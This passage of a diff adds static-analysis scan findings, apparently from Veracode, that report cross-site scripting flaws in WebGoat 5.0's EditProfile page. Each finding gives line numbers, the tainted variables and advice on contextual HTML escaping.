+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
